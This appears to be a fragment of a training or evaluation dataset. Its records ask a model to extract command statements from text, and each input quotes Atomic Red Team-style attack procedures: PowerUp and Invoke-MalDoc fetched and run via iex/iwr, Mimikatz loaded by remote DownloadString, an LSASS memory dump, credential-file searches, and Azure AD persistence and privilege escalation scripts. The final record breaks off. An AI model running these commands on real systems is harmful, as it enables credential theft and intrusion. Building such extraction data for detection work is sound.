Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The contents of files containing the word 'password' can be displayed by executing this command: findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n; For examining potential credential storage in Windows installation logs, run the following commands to check both Panther directory locations:\ntype C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n", "output": "{\"command_list\": [\"findstr /si pass *.xml *.doc *.txt *.xls\\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\\n\", \"type C:\\\\Windows\\\\Panther\\\\unattend.xml\\ntype C:\\\\Windows\\\\Panther\\\\Unattend\\\\unattend.xml\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The execution flow involves loading VBA code into Office documents via [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1), with the following PowerShell command handling the download operation:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macroCode = Get-Content \"#{macro_path}\" -Raw\n$URL = \"#{c2_domain}\" + \"/\" + \"#{c2_parent_directory}\"\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \"#{file_name}\"\nInvoke-MalDoc -macroCode $macroCode -officeProduct \"#{ms_product}\"; This LNK file triggers PowerShell to download PuTTY from the internet and execute it, which can be done with the following command: Invoke-WebRequest -OutFile $env:Temp\\test10.lnk \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\"\n$file1 = \"$env:Temp\\test10.lnk\"\nStart-Process $file1\nStart-Sleep -s 10\ntaskkill /IM a.exe /F\n", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macroCode = Get-Content \\\"#{macro_path}\\\" -Raw\\n$URL = \\\"#{c2_domain}\\\" + \\\"/\\\" + \\\"#{c2_parent_directory}\\\"\\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \\\"#{file_name}\\\"\\nInvoke-MalDoc -macroCode $macroCode -officeProduct \\\"#{ms_product}\\\"\\n\", \"Invoke-WebRequest -OutFile $env:Temp\\\\test10.lnk \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\\\"\\n$file1 = \\\"$env:Temp\\\\test10.lnk\\\"\\nStart-Process $file1\\nStart-Sleep -s 10\\ntaskkill /IM a.exe /F\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Adversaries create new IAM users to maintain persistent access without disrupting normal operations, which can be done with this command: aws iam create-user --user-name #{username}\n; To create a new user in Azure AD while maintaining stealth, adversaries can use the following command: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\" \n$password = \"#{password}\"\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username ", "output": "{\"command_list\": [\"aws iam create-user --user-name #{username}\\n\", \"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\n$username = \\\"#{username}\\\" \\n$password = \\\"#{password}\\\"\\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\\n$PasswordProfile.Password = $password\\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username \"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To execute an LDAP query that retrieves all computer properties including Microsoft LAPS attributes, use the following PowerShell command: Get-adcomputer -SearchScope subtree -filter \"name -like '*'\" -Properties *; For listing computer objects and their attributes, including Microsoft LAPS password attributes, execute this command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" *", "output": "{\"command_list\": [\"Get-adcomputer -SearchScope subtree -filter \\\"name -like '*'\\\" -Properties *\", \"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" *\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For detection purposes, monitor 'Create role assignment' operations while adversaries might run this comprehensive Azure role assignment script: Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"; When attempting to escalate privileges in Azure AD, attackers may implement this technique which creates a new application with dangerous permissions, using the following command block: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"#{application_name}\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication -Filter \"DisplayName eq '#{application_name}'\"\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('#{application_permission}')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id", "output": "{\"command_list\": [\"Import-Module -Name Az.Resources\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzAccount -Credential $Credential\\n\\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \\\"#{service_principal_name}\\\"}\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \\\"#{subscription}\\\"} \\nif ($subscription -eq $null) { Write-Warning \\\"Subscription not found\\\"; exit }\\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \\\"#{role_name}\\\"}\\nif ($role -eq $null) { Write-Warning \\\"Role not found\\\"; exit }\\n\\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\\nWrite-Host \\\"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\\\"\\n\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential\\n\\n$aadApplication = New-AzureADApplication -DisplayName \\\"#{application_name}\\\"\\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\\n#$aadApplication = Get-AzureADApplication -Filter \\\"DisplayName eq '#{application_name}'\\\"\\n\\n#Get Service Principal of Microsoft Graph Resource API \\n$graphSP = Get-AzureADServicePrincipal -Filter \\\"DisplayName eq 'Microsoft Graph'\\\"\\n\\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \\n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\\n\\n#Set Application Permissions\\n$ApplicationPermissions = @('#{application_permission}')\\n\\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\\nif($reqPermission)\\n{\\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\\n$resourceAccess.Type = \\\"Role\\\"\\n$resourceAccess.Id = $reqPermission.Id \\n#Add required app permission\\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\\n}\\nelse\\n{\\nWrite-Host \\\"App permission $permission not found in the Graph Resource API\\\" -ForegroundColor Red\\n}\\n\\n#Add required resource accesses\\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\\n$requiredResourcesAccess.Add($requiredGraphAccess)\\n\\n#Set permissions in existing Azure AD App\\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\\n\\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \\\"AppId eq '$($aadApplication.AppId)'\\\"\\n\\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To extract credentials from memory using Powershell, run the following command which invokes a remote Mimikatz script: IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds; To generate an LSASS dump using the .NET createdump utility, run the following command: $exePath = resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\n& \"$exePath\" -u -f $env:Temp\\dotnet-lsass.dmp (Get-Process lsass).id", "output": "{\"command_list\": [\"IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds\\n\", \"$exePath = resolve-path 